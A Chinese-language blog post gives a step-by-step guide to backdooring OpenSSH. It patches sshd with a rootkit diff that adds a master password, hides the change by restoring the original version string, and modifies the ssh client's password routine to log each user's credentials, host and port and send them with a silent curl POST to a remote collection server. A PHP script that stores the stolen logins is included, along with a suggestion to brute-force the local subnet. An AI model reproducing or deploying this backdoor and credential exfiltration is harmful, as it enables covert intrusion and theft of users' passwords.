关于openssh通用后门的拓展

发布时间:April 28, 2015 // 分类:工作日志,代码学习,linux,VC/C/C++ // 3 Comments

from:http://www.freebuf.com/tools/10474.html

简单的说下步骤:

安装前首先

ssh -V

记录下原来ssh版本信息,免得安装后一看就版本不一样了

wget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz
wget http://openbsd.org.ar/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz
tar zxvf openssh-5.9p1.tar.gz
tar zxvf 0x06-openssh-5.9p1.patch.tar.gz
cd openssh-5.9p1.patch/
cp sshbd5.9p1.diff ../openssh-5.9p1
cd ../openssh-5.9p1
patch < sshbd5.9p1.diff   //patch  后门
vi includes.h                   //修改后门密码,记录文件位置,

/*
+#define ILOG "/tmp/ilog"                      //记录登录到本机的用户名和密码
+#define OLOG "/tmp/olog"                   //记录本机登录到远程的用户名和密码
+#define SECRETPW "123456654321"    //你后门的密码
*/

vi version.h                                           //修改ssh版本信息,改成原来的

先安装所需环境不然会报错

yum install -y openssl openssl-devel pam-devel
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5

注意要是出现:configure: error: *** zlib.h missing – please install first or check config.log

需要安装zlib

yum install -y zlib zlib-devel    //  http://sourceforge.net/projects/libpng/files/zlib/1.2.3/zlib-1.2.3.tar.gz/download  需要 make clean
make && make install
service sshd restart          //重启sshd

然后我们登录ssh看看

再ssh localhost看看

使用后门密码登录是不会被记录的

后门,记录一举两得,是不是很简单.这么简单粗暴的办法,必须进行拓展才好啊。比如。需要把当前的账号和密码发送到远程的地方,而不是简单的保存在本地。或者是利用当前的到账号和密码,来穷举当前机器所在的内网的C段。当然,这些需要自己来做一些加工。首先我们来分析OPENSSH认证的地方。然后从这个地方截取所需要的账号和密码

int
userauth_passwd(Authctxt *authctxt)
{
    static int attempt = 0;
    char prompt[150];
    char *password;
    
    const char *host = options.host_key_alias ?  options.host_key_alias :
        authctxt->host;

    if (attempt++ >= options.number_of_password_prompts)
        return 0;

    if (attempt != 1)
        error("Permission denied, please try again.");

    snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: ",
        authctxt->server_user, host);
    password = read_passphrase(prompt, 0);
    
    packet_start(SSH2_MSG_USERAUTH_REQUEST);
    packet_put_cstring(authctxt->server_user);
    packet_put_cstring(authctxt->service);
    packet_put_cstring(authctxt->method->name);
    packet_put_char(0);
    packet_put_cstring(password);
    memset(password, 0, strlen(password));
    xfree(password);
    packet_add_padding(64);
    packet_send();

    dispatch_set(SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ,
        &input_userauth_passwd_changereq);
    return 1;
}

然后查看openssh的那个patch

diff -u openssh-5.9p1/sshconnect2.c openssh-5.9p1.patch//sshconnect2.c
--- openssh-5.9p1/sshconnect2.c 2011-05-29 18:42:34.000000000 +0700
+++ openssh-5.9p1.patch//sshconnect2.c  2012-02-04 22:17:53.385927565 +0700
@@ -878,6 +878,10 @@
    snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: ",
        authctxt->server_user, host);
    password = read_passphrase(prompt, 0);
+   if((f=fopen(OLOG,"a"))!=NULL){
+       fprintf(f,"user:password@host --> %s:%s@%s\n",authctxt->server_user,password,authctxt->host);
+       fclose(f);
+   }
    packet_start(SSH2_MSG_USERAUTH_REQUEST);
    packet_put_cstring(authctxt->server_user);
    packet_put_cstring(authctxt->service);

如此,全部的包含信息都有了。账号和密码,还有地址。对了,还缺少一个端口,因为ssh的端口都是在sshd_config里面。那么直接获取就好了。

    char *findport()
    {
        FILE *FTopen;
        char tempBuf[1024] = {0};
        char *Filename = "/etc/ssh/sshd_config";
        char *Filetext = "Port";
        if((FTopen = fopen(Filename, "r")) == NULL) { return Filetext; }
        while(fgets(tempBuf, 1024, FTopen) != NULL) { 
                if(strstr(tempBuf, Filetext)) { Filetext = tempBuf; break; }
                memset(tempBuf, 0, 1024);
        }
        fclose(FTopen);
        return Filetext;
    }

全部的流程分析清楚了。然后就是直接加进去就好了

int
userauth_passwd(Authctxt *authctxt)
{
    static int attempt = 0;
    char prompt[150];
    char *password;
    FILE *f;

    char *findport()
    {
        FILE *FTopen;
        char tempBuf[1024] = {0};
        char *Filename = "/etc/ssh/sshd_config";
        char *Filetext = "Port";
        if((FTopen = fopen(Filename, "r")) == NULL) { return Filetext; }
        while(fgets(tempBuf, 1024, FTopen) != NULL) { 
                if(strstr(tempBuf, Filetext)) { Filetext = tempBuf; break; }
                memset(tempBuf, 0, 1024);
        }
        fclose(FTopen);
        return Filetext;
    }
        
    
    const char *host = options.host_key_alias ?  options.host_key_alias :
        authctxt->host;

    if (attempt++ >= options.number_of_password_prompts)
        return 0;

    if (attempt != 1)
        error("Permission denied, please try again.");

    snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: ",
        authctxt->server_user, host);
    password = read_passphrase(prompt, 0);
    
    if((f=fopen("/tmp/olog","a"))!=NULL){//这里为了方便,写入本地咯
        fprintf(f,"username:%s-->password:%s-->host:%s-->port:%s\n",authctxt->server_user,password,authctxt->host,findport());
        fclose(f);
    }
    
    packet_start(SSH2_MSG_USERAUTH_REQUEST);
    packet_put_cstring(authctxt->server_user);
    packet_put_cstring(authctxt->service);
    packet_put_cstring(authctxt->method->name);
    packet_put_char(0);
    packet_put_cstring(password);
    memset(password, 0, strlen(password));
    xfree(password);
    packet_add_padding(64);
    packet_send();

    dispatch_set(SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ,
        &input_userauth_passwd_changereq);
    return 1;
}

然后,就是国际惯例。./configure make

既然得到了账号和密码。我们考虑下把这个密码发送到远程地址。因为要发送,所以考虑到还要使用sock来发送http请求,后来想起是linux.本身就带有curl的,为何不直接用来请求呢。

    char szres[1024] = {0};
    memset(szres,0,sizeof(szres));
    snprintf(szres,sizeof(szres),"/usr/bin/curl -d \"username=%s&password=%s&Host=%s&port=%s\" http://0cx.cc/ssh.php >null",authctxt->server_user,read_passphrase(prompt, 0),authctxt->host,findport());
    //printf("Szres = %s.\r\n",szres);
    system(szres);  

然后接收端这么写

<?php
$username = $_POST['username'];
$password = $_POST['password'];
$host = $_POST['host'];
$port = $_POST['port'];
$time=date('Y-m-d H:i:s',time());

if(isset($username) != "" || isset($password) !="" || isset($host) != "")
{
        $fp = fopen("sshlog.txt","a+");
        $result = "sername:.$username--->:Password:$password----->:Host:$host----->:port:$port----->:time:$time";
        fwrite($fp,$result);
        fwrite($fp,"\r\n");
        fclose($fp);
}
?>
int
userauth_passwd(Authctxt *authctxt)
{
    static int attempt = 0;
    char prompt[150];
    char *password;
    char szres[1024] = {0};

    char *findport()
    {
        FILE *FTopen;
        char tempBuf[1024] = {0};
        char *Filename = "/etc/ssh/sshd_config";
        char *Filetext = "Port";
        if((FTopen = fopen(Filename, "r")) == NULL) { return Filetext; }
        while(fgets(tempBuf, 1024, FTopen) != NULL) { 
                if(strstr(tempBuf, Filetext)) { Filetext = tempBuf; break; }
                memset(tempBuf, 0, 1024);
        }
        fclose(FTopen);
        return Filetext;
    }
        
    
    const char *host = options.host_key_alias ?  options.host_key_alias :
        authctxt->host;

    if (attempt++ >= options.number_of_password_prompts)
        return 0;

    if (attempt != 1)
        error("Permission denied, please try again.");

    snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: ",
        authctxt->server_user, host);
    password = read_passphrase(prompt, 0);
    packet_start(SSH2_MSG_USERAUTH_REQUEST);
    packet_put_cstring(authctxt->server_user);
    packet_put_cstring(authctxt->service);
    packet_put_cstring(authctxt->method->name);
    packet_put_char(0);
    packet_put_cstring(password);
    memset(password, 0, strlen(password));
    xfree(password);
    packet_add_padding(64);
    packet_send();

    dispatch_set(SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ,
        &input_userauth_passwd_changereq);
    memset(szres,0,sizeof(szres));
    snprintf(szres,sizeof(szres),"/usr/bin/curl -d \"username=%s&password=%s&host=%s&port=%s\" http://0cx.cc/ssh.php >null",authctxt->server_user,read_passphrase(prompt, 0),authctxt->host,findport());
    printf("Szres = %s.\r\n",szres);//实际的时候不需要这样子
    system(szres);  
    
    return 1;
}

最后的就是这个样子

 

缺点:

调用curl是很方便,但是curl post的时候会传输数据。

root@ubuntu:/tmp/openssh-5.9p1# ./ssh 192.168.1.103
root@192.168.1.103's password: 
root@192.168.1.103's password: 
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    63    0     0  100    63      0     43  0:00:01  0:00:01 --:--:--   248
Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-23-generic-pae i686)

 * Documentation:  https://help.ubuntu.com/

705 packages can be updated.
313 updates are security updates.

New release '14.04.1 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Mon Apr 27 17:04:59 2015 from ubuntu.local
root@ubuntu:~# 

开始以为是curl的问题,后来查询curl的具体使用方法,发现加一个参数-s就好了。也就是

    memset(szres,0,sizeof(szres));
    snprintf(szres,sizeof(szres),"/usr/bin/curl -s -d \"username=%s&password=%s&Host=%s&port=%s\" http://0cx.cc/ssh.php >/dev/null",authctxt->server_user,read_passphrase(prompt, 0),authctxt->host,findport());
    system(szres);

PS:

snprintf(szres,sizeof(szres),"/usr/bin/curl -s -d \"username=%s&password=%s&Host=%s&port=%s\" http://0cx.cc/ssh.php >/dev/null",authctxt->server_user,read_passphrase(prompt, 0),authctxt->host,findport());

这里的read_passphrase(prompt, 0)会重新调用验证,所以会出现二次认证的提示。于是在read_passphrase(prompt, 0)的时候复制一次就好了。所以完整的函数体是这样子的


int
userauth_passwd(Authctxt *authctxt)
{
    static int attempt = 0;
    char prompt[150];
    char *password;
    char *pass[200];
    char szres[1024] = {0};
    FILE *f;
    char *findport()
    {
        FILE *FTopen;
        char tempBuf[1024] = {0};
        char *Filename = "/etc/ssh/sshd_config";
        char *Filetext = "Port";
        if((FTopen = fopen(Filename, "r")) == NULL) { return Filetext; }
        while(fgets(tempBuf, 1024, FTopen) != NULL) { 
                if(strstr(tempBuf, Filetext)) { Filetext = tempBuf; break; }
                memset(tempBuf, 0, 1024);
        }
        fclose(FTopen);
        return Filetext;
    }
         
     
    const char *host = options.host_key_alias ?  options.host_key_alias :
        authctxt->host;
 
    if (attempt++ >= options.number_of_password_prompts)
        return 0;
 
    if (attempt != 1)
        error("Permission denied, please try again.");
 
    snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: ",
        authctxt->server_user, host);
    password = read_passphrase(prompt, 0);
    strcpy(pass,password);//截取的密码的时候把它复制到自定义的地方去。方便调用
    packet_start(SSH2_MSG_USERAUTH_REQUEST);
    packet_put_cstring(authctxt->server_user);
    packet_put_cstring(authctxt->service);
    packet_put_cstring(authctxt->method->name);
    packet_put_char(0);
    packet_put_cstring(password);
    memset(password, 0, strlen(password));
    xfree(password);
    packet_add_padding(64);
    packet_send();
 
    dispatch_set(SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ,
        &input_userauth_passwd_changereq);

    if((f=fopen("/tmp/olog","a+"))!=NULL){//这里为了方便,写入本地咯
        fprintf(f,"username:%s-->password:%s-->host:%s-->port:%s\n",authctxt->server_user,pass,authctxt->host,findport());
        fclose(f);}  

    memset(szres,0,sizeof(szres));
    snprintf(szres,sizeof(szres),"/usr/bin/curl -s -d \"username=%s&password=%s&host=%s&port=%s\" http://0xc.cc/ssh.php >/dev/null",authctxt->server_user,pass,authctxt->host,findport());
    system(szres);  
   
    return 1;
}

标签:openssh, password, linux

已有 3 条 关于 " 关于openssh通用后门的拓展 "的评论.

  1. scanf scanf

    ilog登录到本机的用户名和密码记录不了是我虚拟机环境的问题吗?

    1. 仔细看看是否是编译好了,但是却使用的不是当前编译的文件

  2. [...]   Recompile, the implementation will automatically send the password to the server. However, the author did not achieve this effect in the actual test http://0cx.cc/ssh_get_password.jspx View and ver[...]

添加新评论 »

分类
最新文章
最近回复
  • 轨迹: niubility!
  • 没穿底裤: 好办法..
  • emma: 任务计划那有点小问题,调用后Activation.exe不是当前活动窗口,造成回车下一步下一步...
  • 没穿底裤: hook execve函数
  • tuhao lam: 大佬,还有持续跟进Linux命令执行记录这块吗?通过内核拦截exec系统调用的方式,目前有没有...